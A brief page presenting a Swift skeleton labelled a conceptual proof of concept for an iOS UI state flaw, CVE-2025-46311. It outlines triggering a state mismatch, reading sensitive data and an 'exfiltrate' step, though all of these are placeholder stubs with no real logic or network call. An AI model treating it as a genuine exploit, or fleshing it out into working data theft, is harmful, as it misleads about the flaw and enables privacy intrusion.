CVE-2025-46311

/* * Conceptual Proof of Concept (PoC) for CVE-2025-46311 * This snippet demonstrates how an app might leverage UI state inconsistency. * Note: Actual exploitation requires specific iOS version targeting. */ import UIKit class VulnerableUIManager { // Simulate checking a specific UI state that might be inconsistent func isProtectedStateActive() -> Bool { // In a real scenario, this might check if a specific view controller // is active or if the device is in a 'locked' but UI-accessible state. return UIApplication.shared.applicationState == .active } func exploitStateMismatch() { // Trigger the UI transition that causes the inconsistency triggerVulnerableTransition() // Check if the system believes the UI is in a safe state while it is not if isProtectedStateActive() { // Attempt to access sensitive data (e.g., contacts, photos) // which should normally be blocked in this context if let sensitiveData = accessRestrictedData() { print("[+] Successfully accessed sensitive data: \(sensitiveData)") exfiltrate(data: sensitiveData) } else { print("[-] Failed to access data") } } } private func triggerVulnerableTransition() { // Implementation of the specific UI interaction that triggers the bug print("[*] Triggering UI state transition...") } private func accessRestrictedData() -> String? { // Placeholder for actual sensitive data access logic return "User_Secret_Token_123" } private func exfiltrate(data: String) { // Placeholder for network exfiltration print("[*] Exfiltrating data to remote server...") } }

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